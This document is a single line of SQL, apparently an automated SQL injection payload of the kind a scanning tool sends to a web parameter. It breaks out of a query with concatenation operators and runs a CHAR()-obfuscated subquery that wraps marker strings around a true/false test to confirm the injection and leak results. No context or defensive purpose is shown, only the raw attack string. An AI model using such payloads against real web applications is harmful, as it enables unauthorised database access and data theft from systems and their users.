1||(SELECT CHAR(79)+CHAR(68)+CHAR(85)+CHAR(81) FROM DUAL WHERE 7950=7950 AND 4540=CONCAT(CHAR(113)+CHAR(112)+CHAR(122)+CHAR(106)+CHAR(113),(SELECT (CASE WHEN (4540=4540) THEN CHAR(49) ELSE CHAR(48) END)),CHAR(113)+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(113)))||